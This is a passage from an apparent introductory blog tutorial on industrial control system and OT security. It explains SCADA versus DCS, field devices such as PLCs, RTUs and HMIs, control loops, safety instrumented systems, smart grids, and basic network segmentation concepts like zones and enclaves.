<table><thead><tr><th>Aspect</th><th>SCADA (Supervisory Control and Data Acquisition)</th><th>DCS (Distributed Control System)</th></tr></thead><tbody><tr><td><strong>Primary Purpose</strong></td><td>Monitoring and supervisory control of geographically distributed systems</td><td>Precise, continuous, real-time process control within a plant</td></tr><tr><td><strong>Geographic Scope</strong></td><td>Wide-area operations spanning hundreds of kilometers</td><td>Single facility, plant, or industrial site</td></tr><tr><td><strong>Control Speed</strong></td><td>Relatively slower response (seconds to minutes)</td><td>Extremely fast response (milliseconds)</td></tr><tr><td><strong>Control Style</strong></td><td>Mostly supervisory or open-loop control</td><td>Closed-loop automatic process control</td></tr><tr><td><strong>Number of I/O Points</strong></td><td>Thousands of distributed I/O points</td><td>Tens of thousands of highly dense I/O points</td></tr><tr><td><strong>Redundancy Level</strong></td><td>Moderate to high redundancy for reliability</td><td>Very high redundancy for safety and uninterrupted operation</td></tr><tr><td><strong>Typical Industries</strong></td><td>Utilities, power transmission, water distribution, pipelines, railways, oil &amp; gas transmission</td><td>Refineries, chemical plants, power generation, pharmaceuticals, pulp &amp; paper industries</td></tr><tr><td><strong>Typical Devices Used</strong></td><td>RTUs, PLCs, master stations, communication networks, HMI systems</td><td>Distributed controllers, I/O modules, engineering stations, redundant servers</td></tr><tr><td><strong>Communication Focus</strong></td><td>Long-distance communication over WAN, radio, fiber, or satellite</td><td>High-speed local communication within plant networks</td></tr><tr><td><strong>Risk if System Fails</strong></td><td>Loss of monitoring visibility and delayed operator response</td><td>Potential plant shutdown, production loss, or major safety incidents</td></tr><tr><td><strong>Scalability</strong></td><td>Highly scalable across remote locations</td><td>Scalable mainly within a single industrial process facility</td></tr><tr><td><strong>System Architecture</strong></td><td>Centralized supervisory architecture with remote field devices</td><td>Distributed intelligence across multiple controllers</td></tr><tr><td><strong>Data Handling</strong></td><td>Event-driven data collection and monitoring</td><td>Continuous real-time process data handling</td></tr><tr><td><strong>Cost</strong></td><td>Generally lower implementation and maintenance cost</td><td>Higher cost due to redundancy, integration, and precision control</td></tr></tbody></table>
<blockquote>
<p>In today's world, <em>lines between DCS and SCADA have almost blurred</em>, nowadays we take a <strong>hybrid systems approach</strong>;
<br> <em>A large facility has DCS for precise control inside the plant while SCADA system sits on top to monitor the entire facility or multiple facilities from a central control room.</em></p>
</blockquote>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 250" xmlns="http://www.w3.org/2000/svg">
  <rect x="30" y="80" width="180" height="70" rx="14" fill="rgba(13,63,145,0.12)" stroke="#4c7ece"></rect>
  <text x="120" y="110" text-anchor="middle" class="diagram-title">SCADA Master</text>
  <text x="120" y="130" text-anchor="middle" class="diagram-text">Remote monitoring</text>
  <rect x="260" y="40" width="140" height="60" rx="14" fill="rgba(13,63,145,0.12)" stroke="#4c7ece"></rect>
  <text x="330" y="75" text-anchor="middle" class="diagram-title">RTU 1</text>
  <rect x="260" y="140" width="140" height="60" rx="14" fill="rgba(13,63,145,0.12)" stroke="#4c7ece"></rect>
  <text x="330" y="175" text-anchor="middle" class="diagram-title">RTU 2</text>
  <rect x="470" y="80" width="180" height="70" rx="14" fill="rgba(13,63,145,0.12)" stroke="#4c7ece"></rect>
  <text x="560" y="110" text-anchor="middle" class="diagram-title">DCS</text>
  <text x="560" y="130" text-anchor="middle" class="diagram-text">Plant-level control</text>
  <line x1="210" y1="110" x2="260" y2="70" stroke="#4c7ece" marker-end="url(#arrow)"></line>
  <line x1="210" y1="110" x2="260" y2="170" stroke="#4c7ece" marker-end="url(#arrow)"></line>
  <line x1="400" y1="90" x2="470" y2="110" stroke="#4c7ece" marker-end="url(#arrow)"></line>
  <line x1="400" y1="170" x2="470" y2="130" stroke="#4c7ece" marker-end="url(#arrow)"></line>
  <defs>
    <marker id="arrow" viewBox="0 0 10 10" refX="10" refY="5" markerWidth="4" markerHeight="4" orient="auto-start-reverse">
      <path d="M 0 0 L 10 5 L 0 10 z" fill="#4c7ece"></path>
    </marker>
  </defs>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.3:</strong> SCADA supervises remote field equipment, while DCS keeps control locally inside the plant for fast real-time action.</figcaption>
</figure>
</div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="16-field-componentssystem-assets">1.6 Field Components/System Assets<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#16-field-componentssystem-assets" class="hash-link" aria-label="Direct link to 1.6 Field Components/System Assets" title="Direct link to 1.6 Field Components/System Assets" translate="no">​</a></h3>
<p>Field components are the <mark>physical devices and systems deployed in industrial environments that directly interface with processes, equipment, and infrastructure to enable monitoring, control, and automation.</mark> These form the backbone of any ICS architecture.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="161-programmable-logic-controller-plc">1.6.1 Programmable Logic Controller (PLC)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#161-programmable-logic-controller-plc" class="hash-link" aria-label="Direct link to 1.6.1 Programmable Logic Controller (PLC)" title="Direct link to 1.6.1 Programmable Logic Controller (PLC)" translate="no">​</a></h4>
<ul>
<li class=""><strong>PLCs</strong> are <mark>specialized industrial grade computers designed to perform repetitive control tasks in harsh environments with high reliability.</mark></li>
<li class="">Unlike desktop computers, <em>PLCs are physically hardened</em> making them suitable for production environment.</li>
<li class="">Instead of using a commercial OS, PLCs rely on specific application programs that allow the PLC to function automatically generating output actions (e.g.
to pump motors) in response to specific inputs (e.g. from sensors) with as little
overhead as possible.</li>
<li class="">PLCs were <mark>originally designed to replace electromechanical
relays.</mark></li>
<li class="">Very simple PLCs may be referred to as programmable logic relays (PLRs).</li>
<li class="">They execute logic programs written in languages like <em>Ladder Logic, Sequential Function Charts, Structured Text, or Function Block Diagrams</em>.</li>
<li class="">Common IEC 61131-3 PLC programming languages include:
<ul>
<li class=""><strong>Ladder Diagram (LD)</strong>: Visual rung-based logic that looks like electrical ladder wiring.</li>
<li class=""><strong>Function Block Diagram (FBD)</strong>: Blocks with inputs and outputs wired together for modular control.</li>
<li class=""><strong>Structured Text (ST)</strong>: High-level text code similar to Pascal for math and advanced logic.</li>
<li class=""><strong>Sequential Function Chart (SFC)</strong>: Step-based charts used for batch and sequential operations.</li>
</ul>
</li>
<li class="">PLCs are ideal for discrete control applications (manufacturing, assembly lines) with deterministic, repetitive operations.</li>
<li class="">Typical lifespan: 15-30+ years; require scheduled maintenance but can run continuously.</li>
<li class="">Examples: Siemens S7 series, Allen-Bradley CompactLogix, BECKHOFF CX series.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://upload.wikimedia.org/wikipedia/commons/5/5a/Programmable_logic_controller.jpg" alt="PLC hardware rack and I/O modules">
<figcaption class="diagram-caption"><strong>Fig 1.5:</strong> PLC hardware and I/O modules, showing the physical control device used in many industrial systems.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="162-remote-terminal-unit-rtu">1.6.2 Remote Terminal Unit (RTU)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#162-remote-terminal-unit-rtu" class="hash-link" aria-label="Direct link to 1.6.2 Remote Terminal Unit (RTU)" title="Direct link to 1.6.2 Remote Terminal Unit (RTU)" translate="no">​</a></h4>
<ul>
<li class=""><strong>RTUs</strong> are <mark>ruggedized, autonomous control devices deployed at remote field sites to collect sensor data, execute pre-programmed logic, and communicate with master SCADA systems.</mark></li>
<li class="">They are optimized for wide-area communication and can function independently if the master station fails.</li>
<li class="">Often used in power distribution, water systems, oil/gas pipelines, and utilities where sites are geographically spread out.</li>
<li class="">Examples: Schweitzer Engineering RTUs, GE Automation RTUs, Woodward RTUs.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://upload.wikimedia.org/wikipedia/commons/d/d0/Remote_Terminal_Unit_Modular.jpg" alt="Remote Terminal Unit (RTU) hardware module">
<figcaption class="diagram-caption"><strong>Fig 1.6:</strong> Remote Terminal Unit (RTU) hardware showing the modular architecture used in remote field deployments for autonomous data collection and control.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="163-intelligent-electronic-device-ied">1.6.3 Intelligent Electronic Device (IED)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#163-intelligent-electronic-device-ied" class="hash-link" aria-label="Direct link to 1.6.3 Intelligent Electronic Device (IED)" title="Direct link to 1.6.3 Intelligent Electronic Device (IED)" translate="no">​</a></h4>
<ul>
<li class=""><strong>IEDs</strong> are <mark>smart field devices that combine sensing, processing, and communication capabilities to perform localized control and protection functions.</mark></li>
<li class="">Common in power systems: protective relays, meters, circuit breakers, and reclosers that can make local decisions and communicate status.</li>
<li class="">More autonomous than basic sensors; capable of executing protection logic without central coordination.</li>
<li class="">Examples: Merlin Gerin Micom, ABB REL670, Schneider Electric Sepam relays.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://5.imimg.com/data5/VT/NA/UC/SELLER-22256257/process-bus-numerical-relay-siemens-500x500.jpg" alt="Intelligent Electronic Device (IED) protective relay">
<figcaption class="diagram-caption"><strong>Fig 1.7:</strong> Intelligent Electronic Device (IED) showing protective relay with sensing and communication capabilities for localized control in power systems.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="164-human-machine-interface-hmi">1.6.4 Human Machine Interface (HMI)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#164-human-machine-interface-hmi" class="hash-link" aria-label="Direct link to 1.6.4 Human Machine Interface (HMI)" title="Direct link to 1.6.4 Human Machine Interface (HMI)" translate="no">​</a></h4>
<ul>
<li class=""><strong>HMIs</strong> are <mark>the graphical and operational interfaces through which human operators monitor system status, visualize real-time process data, and issue control commands.</mark></li>
<li class="">Typically run on industrial PCs, tablets, or touch-screen panels.</li>
<li class="">Display: process flows, equipment status, alarms, historical trends, operator dashboards.</li>
<li class="">Modern HMIs integrate with SCADA/DCS systems to provide real-time visualization across multiple facilities.</li>
<li class="">Examples: Wonderware, GE DigitalWorks, Siemens WinCC, Ignition SCADA.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://static.blikai.com/prod/20240709/image%20(20).webp" alt="Industrial HMI operator interface panel">
<figcaption class="diagram-caption"><strong>Fig 1.8:</strong> Human Machine Interface (HMI) displaying real-time process visualization, status indicators, and operator control dashboard.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="165-supervisory-workstations">1.6.5 Supervisory Workstations<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#165-supervisory-workstations" class="hash-link" aria-label="Direct link to 1.6.5 Supervisory Workstations" title="Direct link to 1.6.5 Supervisory Workstations" translate="no">​</a></h4>
<ul>
<li class=""><strong>Supervisory Workstations</strong> are <mark>engineering or operator workstations running software for system configuration, monitoring, diagnostics, and remote troubleshooting.</mark></li>
<li class="">Used by system engineers to program PLCs, configure RTUs, analyze historical data, and update firmware.</li>
<li class="">Higher privilege levels than standard operator consoles; critical for maintaining system integrity.</li>
<li class="">Often air-gapped or restricted to internal networks for security.</li>
<li class="">Examples: Engineering Workstations (Siemens TIA Portal), DCS Configuration Stations.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="166-data-historian">1.6.6 Data Historian<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#166-data-historian" class="hash-link" aria-label="Direct link to 1.6.6 Data Historian" title="Direct link to 1.6.6 Data Historian" translate="no">​</a></h4>
<ul>
<li class=""><strong>Data Historians</strong> are <mark>specialized database systems that continuously record, archive, and provide access to time-series operational data collected from field devices.</mark></li>
<li class="">Enable trend analysis, root cause analysis, compliance reporting, and predictive maintenance.</li>
<li class="">Store massive volumes of sensor readings, alarms, events, and operator actions over years.</li>
<li class="">Critical for process optimization and regulatory compliance (e.g., FDA, EPA requirements).</li>
<li class="">Examples: OSIsoft PI, Wonderware Historian, Influx DB, Aspen InfoPlus.21.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="167-other-assets">1.6.7 Other Assets<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#167-other-assets" class="hash-link" aria-label="Direct link to 1.6.7 Other Assets" title="Direct link to 1.6.7 Other Assets" translate="no">​</a></h4>
<ul>
<li class=""><strong>Engineering Workstations</strong>: Systems used to develop, compile, and test control logic before deployment.</li>
<li class=""><strong>Network Infrastructure</strong>: Industrial switches, routers, firewalls, gateways designed for reliability and determinism.</li>
<li class=""><strong>Sensors &amp; Actuators</strong>: Analog and digital devices (pressure transmitters, temperature probes, solenoid valves, motors).</li>
<li class=""><strong>Safety Modules</strong>: Redundant computing units dedicated to safety-critical functions.</li>
<li class=""><strong>Wireless Devices</strong>: Industrial IoT sensors, mobile RTUs, wireless mesh networks in modern OT environments.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="17-system-operations">1.7 System Operations<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#17-system-operations" class="hash-link" aria-label="Direct link to 1.7 System Operations" title="Direct link to 1.7 System Operations" translate="no">​</a></h3>
<p>System operations describe <mark>how ICS components interact, execute control logic, respond to process changes, and maintain operational continuity.</mark></p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="171-control-loops">1.7.1 Control Loops<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#171-control-loops" class="hash-link" aria-label="Direct link to 1.7.1 Control Loops" title="Direct link to 1.7.1 Control Loops" translate="no">​</a></h4>
<ul>
<li class="">A <strong>control loop</strong> is <mark>a sequence of operations where a system continuously measures a process variable, compares it to a desired setpoint, and adjusts an output to minimize the difference.</mark></li>
<li class=""><strong>Open-Loop Control</strong>: System executes a pre-programmed sequence without feedback; no automatic correction if conditions change. (Example: A timer-based pump that runs for exactly 30 minutes regardless of actual water level.)</li>
<li class=""><strong>Closed-Loop Control</strong>: System continuously monitors output, compares to setpoint, and adjusts to maintain desired state. (Example: Temperature control where a thermostat measures temperature and adjusts heater output to maintain setpoint.)</li>
<li class="">Closed-loop is more precise but more complex; open-loop is simpler but less adaptive.</li>
</ul>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 800 300" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <marker id="feedbackArrow" viewBox="0 0 10 10" refX="8" refY="5" markerWidth="5" markerHeight="5" orient="auto-start-reverse">
      <path d="M 0 0 L 10 5 L 0 10 z" fill="#4c7ece"></path>
    </marker>
  </defs>
  <rect x="30" y="70" width="140" height="60" rx="12" fill="rgba(13,63,145,0.12)" stroke="#4c7ece" stroke-width="2"></rect>
  <text x="100" y="95" text-anchor="middle" font-family="sans-serif" font-weight="bold" fill="#4c7ece">Sensor</text>
  <text x="100" y="113" text-anchor="middle" font-family="sans-serif" font-size="12" fill="#4c7ece">Measure process</text>
  <path d="M 170 100 L 260 100" stroke="#4c7ece" stroke-width="2" marker-end="url(#arrow)"></path>
  <rect x="260" y="60" width="170" height="80" rx="12" fill="rgba(13,63,145,0.12)" stroke="#4c7ece" stroke-width="2"></rect>
  <text x="345" y="95" text-anchor="middle" font-family="sans-serif" font-weight="bold" fill="#4c7ece">Controller</text>
  <text x="345" y="113" text-anchor="middle" font-family="sans-serif" font-size="12" fill="#4c7ece">Calculate correction</text>
  <path d="M 430 100 L 490 100" stroke="#4c7ece" stroke-width="2" marker-end="url(#arrow)"></path>
  <rect x="490" y="70" width="140" height="60" rx="12" fill="rgba(13,63,145,0.12)" stroke="#4c7ece" stroke-width="2"></rect>
  <text x="560" y="95" text-anchor="middle" font-family="sans-serif" font-weight="bold" fill="#4c7ece">Actuator</text>
  <text x="560" y="113" text-anchor="middle" font-family="sans-serif" font-size="12" fill="#4c7ece">Apply change</text>
  <path d="M 560 130 L 560 170" stroke="#4c7ece" stroke-width="2" marker-end="url(#arrow)"></path>
  <rect x="490" y="170" width="140" height="50" rx="12" fill="rgba(13,63,145,0.12)" stroke="#4c7ece" stroke-width="2"></rect>
  <text x="560" y="200" text-anchor="middle" font-family="sans-serif" font-weight="bold" fill="#4c7ece">Process</text>
  <path d="M 490 195 L 100 195 L 100 130" fill="none" stroke="#4c7ece" stroke-width="2" marker-end="url(#arrow)"></path>
</svg><p><text x="280" y="185" text-anchor="middle" font-family="sans-serif" font-size="12" fill="#4c7ece">Feedback Loop</text>
<text x="115" y="155" text-anchor="start" font-family="sans-serif" font-size="11" fill="#4c7ece">Process State</text>
</p>
<figcaption class="diagram-caption"><strong>Fig 1.4:</strong> Closed-loop control structure showing measurement, decision, actuation, and feedback.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="172-control-processes">1.7.2 Control Processes<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#172-control-processes" class="hash-link" aria-label="Direct link to 1.7.2 Control Processes" title="Direct link to 1.7.2 Control Processes" translate="no">​</a></h4>
<ul>
<li class="">
<p><strong>Continuous Process Control</strong>: Maintains a process variable at a constant target value over time (e.g., maintaining reactor temperature at 150°C).</p>
<ul>
<li class="">Uses analog signals and proportional/integral/derivative (PID) algorithms.</li>
<li class="">Common in refineries, chemical plants, power plants.</li>
</ul>
</li>
<li class="">
<p><strong>Discrete/Batch Process Control</strong>: Executes a series of sequential operations to produce a product or complete a task (e.g., pharmaceutical batch processing, filling bottles, assembly steps).</p>
<ul>
<li class="">Uses digital signals and state machines.</li>
<li class="">Common in manufacturing, packaging, food production.</li>
</ul>
</li>
<li class="">
<p><strong>Hybrid Control</strong>: Combines continuous and discrete elements (e.g., a chemical plant that continuously controls temperature while performing discrete batch transitions).</p>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="173-feedback-loops--feedback-systems">1.7.3 Feedback Loops &amp; Feedback Systems<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#173-feedback-loops--feedback-systems" class="hash-link" aria-label="Direct link to 1.7.3 Feedback Loops &amp; Feedback Systems" title="Direct link to 1.7.3 Feedback Loops &amp; Feedback Systems" translate="no">​</a></h4>
<ul>
<li class="">
<p><strong>Negative Feedback</strong>: Output of a system is fed back and compared against input; deviations trigger corrective actions to restore equilibrium.</p>
<ul>
<li class="">Most common in industrial control; provides stability.</li>
<li class="">Example: If pressure rises above setpoint, feedback triggers valve closure to reduce pressure.</li>
</ul>
</li>
<li class="">
<p><strong>Positive Feedback</strong>: Output reinforces the input, causing the system to diverge further from equilibrium.</p>
<ul>
<li class="">Rarely intentional in ICS; typically indicates a malfunction.</li>
<li class="">Example: A failing temperature sensor that causes heater to keep increasing temperature.</li>
</ul>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="174-production-information-management-pim">1.7.4 Production Information Management (PIM)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#174-production-information-management-pim" class="hash-link" aria-label="Direct link to 1.7.4 Production Information Management (PIM)" title="Direct link to 1.7.4 Production Information Management (PIM)" translate="no">​</a></h4>
<ul>
<li class=""><strong>PIM Systems</strong> are <mark>higher-level software systems that manage production scheduling, resource allocation, quality control, and coordination across multiple OT systems.</mark></li>
<li class="">Sit above SCADA/DCS layer; interface with enterprise planning systems.</li>
<li class="">Track production metrics: throughput, downtime, yield, energy consumption, material usage.</li>
<li class="">Enable traceability and compliance documentation (batch serialization, audit trails).</li>
<li class="">Examples: MES (Manufacturing Execution Systems), Production Planning Software.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="175-business-information-management-bim--integration">1.7.5 Business Information Management (BIM) &amp; Integration<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#175-business-information-management-bim--integration" class="hash-link" aria-label="Direct link to 1.7.5 Business Information Management (BIM) &amp; Integration" title="Direct link to 1.7.5 Business Information Management (BIM) &amp; Integration" translate="no">​</a></h4>
<ul>
<li class=""><strong>BIM Systems</strong> are <mark>enterprise-level software (ERP, analytics, business intelligence) that consume aggregated OT data for business decision-making, financial reporting, and strategic planning.</mark></li>
<li class="">Connected to PIM and MES systems via data feeds and APIs.</li>
<li class="">Enable KPI monitoring, cost analysis, ROI calculation, supply chain optimization.</li>
<li class="">Bridge between operational technology and information technology domains.</li>
<li class="">Examples: SAP, Oracle ERP, Microsoft Dynamics, Tableau/Power BI analytics.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="18-process-management">1.8 Process Management<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#18-process-management" class="hash-link" aria-label="Direct link to 1.8 Process Management" title="Direct link to 1.8 Process Management" translate="no">​</a></h3>
<p><strong>Process Management</strong> in ICS refers to <mark>the systematic approach to designing, monitoring, optimizing, and maintaining industrial processes to ensure safety, efficiency, quality, and compliance.</mark></p>
<p><strong>Key Components:</strong></p>
<ul>
<li class="">
<p><strong>Process Design &amp; Documentation</strong>: Engineering specifications, process flow diagrams (PFDs), piping &amp; instrumentation diagrams (P&amp;IDs) that define how a process should operate.</p>
</li>
<li class="">
<p><strong>Standard Operating Procedures (SOPs)</strong>: Written procedures that operators must follow during normal operations, startups, shutdowns, and emergency situations.</p>
</li>
<li class="">
<p><strong>Performance Monitoring</strong>: Continuous tracking of KPIs such as throughput, energy efficiency, product quality, asset utilization, and safety metrics.</p>
</li>
<li class="">
<p><strong>Preventive &amp; Predictive Maintenance</strong>: Scheduled maintenance based on equipment age/hours (preventive) or equipment condition data/anomalies (predictive) to minimize unexpected failures.</p>
</li>
<li class="">
<p><strong>Change Management</strong>: Formal processes to evaluate, approve, test, and implement changes to process logic, equipment, or procedures to minimize risk of unintended consequences.</p>
</li>
<li class="">
<p><strong>Regulatory Compliance &amp; Auditing</strong>: Ensuring operations meet industry standards (IEC 61508, IEC 61511, NIST, NERC-CIP, EPA, FDA) and conducting regular audits and inspections.</p>
</li>
</ul>
<blockquote>
<p><strong>Why Process Management Matters:</strong><br>
Industrial processes involve significant capital investment, safety risks, and regulatory obligations. Uncontrolled or poorly managed processes lead to equipment failures, safety incidents, environmental violations, production losses, and financial penalties. Structured process management minimizes these risks while optimizing output.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="19-safety-instrumented-systems-sis">1.9 Safety Instrumented Systems (SIS)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#19-safety-instrumented-systems-sis" class="hash-link" aria-label="Direct link to 1.9 Safety Instrumented Systems (SIS)" title="Direct link to 1.9 Safety Instrumented Systems (SIS)" translate="no">​</a></h3>
<p><strong>Safety Instrumented Systems</strong> are <mark>specialized, independent control systems designed to automatically detect hazardous conditions and execute fail-safe actions to prevent accidents, equipment damage, or environmental harm.</mark></p>
<p><strong>Key Characteristics:</strong></p>
<ul>
<li class=""><strong>Independence</strong>: SIS operates independently from the main control system; if main DCS/SCADA fails, SIS continues to protect.</li>
<li class=""><strong>Deterministic Response</strong>: SIS must respond to detected hazards within a specified time; performance cannot degrade.</li>
<li class=""><strong>Redundancy</strong>: Critical SIS functions use redundant sensors, logic solvers, and actuators to eliminate single points of failure.</li>
<li class=""><strong>Fail-Safe Logic</strong>: In case of system failure, SIS defaults to the safe state (e.g., close emergency shutdown valve, stop pump, raise alarm).</li>
<li class=""><strong>Validation &amp; Certification</strong>: SIS is designed, tested, and certified to safety integrity level (SIL) standards (SIL 1-4, where SIL 4 is highest safety criticality).</li>
</ul>
<p><strong>Common SIS Applications:</strong></p>
<ul>
<li class="">Emergency shutdown (ESD) systems in oil/gas processing.</li>
<li class="">Pressure relief systems (Pressure Safety Valves - PSVs).</li>
<li class="">Temperature or flow alarms triggering automatic shutdowns.</li>
<li class="">Fire detection and suppression systems.</li>
<li class="">Personnel safety systems (interlocks preventing operator access to hazardous zones).</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://www.methodfs.com/images/pages/ls-lop.png" alt="Safety Instrumented System (SIS) logic solver and safety shutdown">
<figcaption class="diagram-caption"><strong>Fig 1.11:</strong> Safety Instrumented System showing independent logic solver and shutdown mechanisms for fail-safe protection of critical processes.</figcaption>
</figure>
</div>
<blockquote>
<p><strong>Why SIS is Critical:</strong><br>
Main control systems can fail or be compromised. SIS exists as a final, independent layer of protection to prevent catastrophic events—explosions, toxic releases, loss of life. It's not optional; it's mandated by safety standards in high-risk industries.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="110-smart-grid">1.10 Smart Grid<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#110-smart-grid" class="hash-link" aria-label="Direct link to 1.10 Smart Grid" title="Direct link to 1.10 Smart Grid" translate="no">​</a></h3>
<p><strong>Smart Grid</strong> is <mark>a modernized, digitally integrated electrical grid that uses advanced sensors, communication networks, and automation to optimize the generation, distribution, and consumption of electricity in real-time.</mark></p>
<p><strong>Components:</strong></p>
<ul>
<li class=""><strong>Advanced Metering Infrastructure (AMI)</strong>: Smart meters that record energy consumption at granular intervals (e.g., every 15 minutes) and communicate wirelessly to utilities.</li>
<li class=""><strong>Phasor Measurement Units (PMUs)</strong>: High-speed sensors that capture grid voltage, current, and frequency 30+ times per second for real-time grid health monitoring.</li>
<li class=""><strong>Distributed Energy Resources (DERs)</strong>: Renewable energy sources (solar, wind), battery storage, and microgrids connected to the grid.</li>
<li class=""><strong>Demand Response Systems</strong>: IoT-enabled devices and systems that can adjust consumption (e.g., reduce air conditioning during peak demand) based on grid signals.</li>
<li class=""><strong>Communication Networks</strong>: Fiber optics, cellular, and wireless mesh networks enabling bidirectional communication between grid components and control centers.</li>
<li class=""><strong>Grid-Level Automation</strong>: SCADA and advanced control systems that optimize power flow, prevent blackouts, and balance supply/demand.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://i0.wp.com/semiengineering.com/wp-content/uploads/2015/06/con-edison.jpg" alt="Smart Grid infrastructure and distribution network">
<figcaption class="diagram-caption"><strong>Fig 1.12:</strong> Smart Grid infrastructure showing modernized electrical distribution with sensors, automation, and bidirectional communication for optimized power management.</figcaption>
</figure>
</div>
<p><strong>Benefits:</strong></p>
<ul>
<li class=""><strong>Efficiency</strong>: Reduces energy losses in transmission and distribution.</li>
<li class=""><strong>Reliability</strong>: Faster detection and isolation of faults; reduced outage duration.</li>
<li class=""><strong>Sustainability</strong>: Integrates renewable energy; supports electric vehicle charging infrastructure.</li>
<li class=""><strong>Demand-Side Management</strong>: Consumers get real-time visibility into consumption; utilities can optimize load balancing.</li>
<li class=""><strong>Resilience</strong>: Decentralized architecture and redundancy make grids more resistant to failures and cyberattacks.</li>
</ul>
<blockquote>
<p><strong>Why Smart Grid Matters:</strong><br>
Traditional electrical grids are centralized, reactive (responding after faults occur), and inflexible. Smart grids are distributed, predictive (detecting issues before they escalate), and adaptive. As renewable energy, electrification of transport, and climate concerns intensify, smart grids are essential to meeting future energy demands safely and sustainably.</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-industrial-network-fundamentals">2. Industrial Network Fundamentals<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#2-industrial-network-fundamentals" class="hash-link" aria-label="Direct link to 2. Industrial Network Fundamentals" title="Direct link to 2. Industrial Network Fundamentals" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-routable-and-nonroutable-networks">2.1 Routable and Nonroutable Networks<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#21-routable-and-nonroutable-networks" class="hash-link" aria-label="Direct link to 2.1 Routable and Nonroutable Networks" title="Direct link to 2.1 Routable and Nonroutable Networks" translate="no">​</a></h3>
<p><strong>Routable Networks:</strong></p>
<ul>
<li class=""><mark>Networks that use protocols like TCP/IP and can communicate across multiple network segments via routers and gateways.</mark></li>
<li class="">Enable direct communication between distant systems and remote monitoring/control capabilities.</li>
<li class="">More flexible but introduce higher attack surface as they connect to enterprise IT networks and potentially the internet.</li>
<li class="">Example: Modern SCADA systems using industrial Ethernet over TCP/IP.</li>
</ul>
<p><strong>Nonroutable Networks:</strong></p>
<ul>
<li class=""><mark>Networks that use proprietary protocols (e.g., serial communications, Modbus, Profibus) and do not support standard IP routing.</mark></li>
<li class="">Historically isolated by nature; cannot directly communicate across network boundaries without protocol conversion.</li>
<li class="">Simpler architecture and lower complexity, but limited remote capabilities.</li>
<li class="">Example: Legacy PLCs communicating via RS-485 serial lines or Profibus networks.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-zones-and-enclaves">2.2 Zones and Enclaves<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#22-zones-and-enclaves" class="hash-link" aria-label="Direct link to 2.2 Zones and Enclaves" title="Direct link to 2.2 Zones and Enclaves" translate="no">​</a></h3>
<p><strong>Security Zones:</strong></p>
<ul>
<li class=""><mark>Logical or physical groupings of ICS components with similar trust levels and security requirements, separated from other zones by controlled access points.</mark></li>
<li class="">Help enforce the principle of least privilege and compartmentalize risk.</li>
<li class="">Example zones: Field Device Zone, Control Zone, Supervisory Zone, Enterprise Zone.</li>
<li class="">Zones allow organizations to apply different security policies based on criticality and sensitivity.</li>
</ul>
<p><strong>Enclaves:</strong></p>
<ul>
<li class=""><mark>Self-contained network segments within a zone or spanning multiple zones, designed to isolate mission-critical or sensitive operations.</mark></li>
<li class="">Typically protected by firewalls, network segmentation, and access control lists (ACLs).</li>
<li class="">Enable defense-in-depth by reducing lateral movement if one segment is compromised.</li>
<li class="">Example: A power generation enclave within a utility's broader SCADA network.</li>
</ul>
<hr>
